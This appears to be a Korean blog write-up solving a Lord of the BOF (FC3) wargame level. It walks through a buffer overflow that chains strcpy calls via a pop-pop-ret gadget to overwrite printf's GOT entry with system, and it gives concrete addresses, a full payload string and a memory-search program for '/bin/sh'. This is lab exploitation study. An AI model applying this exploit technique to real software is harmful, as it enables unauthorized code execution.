농소

The Lord Of The BOF (FC3) // hell_fire -> evil_wizard 본문

Wargame/The Lord Of The BOF (FC3)

The Lord Of The BOF (FC3) // hell_fire -> evil_wizard

농소 2018. 3. 6. 03:11

[ evil_wizard ]




이번에는 fake ebp를 막았고 고맙게도 문제에서 //healing potion을 주었네요

system함수를 이용해 쉘을 실행시키면 권한이 상승할 것입니다.

힌트로 GOT overwriting을 이용하라고 나와있네요


코드 제일 밑에 수행되는 printf함수의 GOT를 system GOT로 변환하면 될것 같습니다.

그러기위해선 고정값이 되는 지점에서의 값을 strcpy를 통해서 GOT를 변경해야하는데요

system의 got값을 가르키는 주소를 찾아야 strcpy를 할 수있는데 아쉽게도 그런값을 가지고 있는 곳은 없습니다.

그러면 어떻게 해야하느냐?

변하지않는 영역의 값을 살펴봐 1바이트씩 해당 코드를 찾아 strcpy를 해주면 됩니다. strcpy를 4번 해주면 되겠네요

하지만 여기서 문제는 plt를 이용하여 strcpy를 여러번 실행 할 경우

인자가 겹치는 경우가 발생하여 최대 2번까지 가능합니다.(그것도 인자가 겹친다는 가정하에)


그것을 방지하기 위해서 ppr기능을 이용합니다.

윈도우는 있지만 리눅스에는 이 기능이 없습니다.

그래서 이걸 만드신분이 따로 ppr함수를 만들었네요


ppr의 원리는 이렇습니다.


이런식으로 pop pop ret을 통해 연속적으로 strcpy를 이용할 수 있습니다

이렇게 연속적으로 실행하여 코드를 옮기는것을 "가젯을 모은다" 라고 합니다.


payload를 가정해 본다면

dummy 268 | strcpy's plt | pop-pop-ret | arg1 | arg2 | strcpy's plt | pop-pop-ret | arg1 | arg2 | strcpy's plt | pop-pop-ret | arg1 | arg2 | printf's plt | aaaa | /bin/sh

이런식으로 예상해 볼 수 있습니다.


이제 gdb를 통하여 주소값들을 알아냅시다.



ppr함수에서는 0x0804854f의 주소를 이용하면 되겠네요



strcpy의 plt와 printf's의 plt입니다




printf의 실제 GOT입니다 이것을 system got로 변형시켜주면 되겠습니다.



system의 GOT도 찾았고 [ 0xc0 0x07 0x75 0x00 ]


이제 스택가드가 적용이 안된 영역에서 system의 가젯을 모아봅시다



이렇게 가젯들을 찾아냈습니다 정리해본다면


strcpy's plt = 0x08048494 = \x94\x84\x04\x08

printf's plt = 0x08048424 = \x24\x84\x04\x08

printf's got = 0x08049884 = \x84\x98\x04\x08

pop_pop_ret  = 0x0804854f = \x4f\x85\x04\x08

system       = 0x007507c0 = \c0\x07\x75\x00


0x08049884 <-- c0으로 변경  = \x84\x98\x04\x08

0x08049885 <-- 07으로 변경  = \x85\x98\x04\x08

0x08049886 <-- 75으로 변경  = \x86\x98\x04\x08

0x08049887 <-- 00으로 변경  = \x87\x98\x04\x08


0x08048c7c: 0xc0 0x00 0x00 0x00  = "\x7c\x8c\x04\x08"

0x08048b04: 0x07 0x00 0x00 0x00  = "\x04\x8b\x04\x08"

0x08048c40: 0x75 0x00 0x00 0x00  = "\x40\x8c\x04\x08"


이제 strcpy를 이용해 복사를 할때 주의할 점이 이 가젯들을 덮어쓸때 먼저 상위주소순 으로 strcpy를 반복을 해야 데이터가 정상적으로 채워 질 것 입니다.

또 가젯을 찾을 때, 여기서는 1바이트 다음 null이 달려있는 깔끔한 것을 찾았지만, 가젯이 긴 경우 그것을 strcpy를 했을때 다른 GOT의 값을 바꿀 수 도 있으므로 시스템이 정상적으로 동작이 안 될 수도 있습니다.


자 페이로드를 구성해 본다면

dummy 268 | strcpy's plt | pop-pop-ret | arg1 | arg2 | strcpy's plt | pop-pop-ret | arg1 | arg2 | strcpy's plt | pop-pop-ret | arg1 | arg2 | printf's plt | aaaa | /bin/sh


"a" * 268 + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x84\x98\x04\x08" + "\x7c\x8c\x04\x08" + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x85\x98\x04\x08" + "\x04\x8b\x04\x08" + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x86\x98\x04\x08" + "\x40\x8c\x04\x08" + "\x24\x84\x04\x08" + "aaaa" + "/bin/sh"


이런식으로 될 것이고 이대로 실행한 결과 segmentation fault가 발생하게됩니다.

"/bin/sh"값이 들어있는 주소를 찾아서 다시 실행해 봅니다.


find.c

#include <stdio.h>

#include <string.h>

#define FLAG 0x7507c0


int main(int argc, char *argv[]){

char *ptr;

ptr = (int *)FLAG;


while(1){

if(memcmp(ptr, "/bin/sh", 8)==0){

printf("/bin/sh : %p\n", ptr);

exit(1);

}

ptr++;

}


return 0;

}




실행해 본결과 /bin/sh는 0x833603에 위치해 있습니다.

이제 "/bin/sh" 대신 해당 주소를 넣어주게 되면



정상적으로 쉘이 떨어지게됩니다.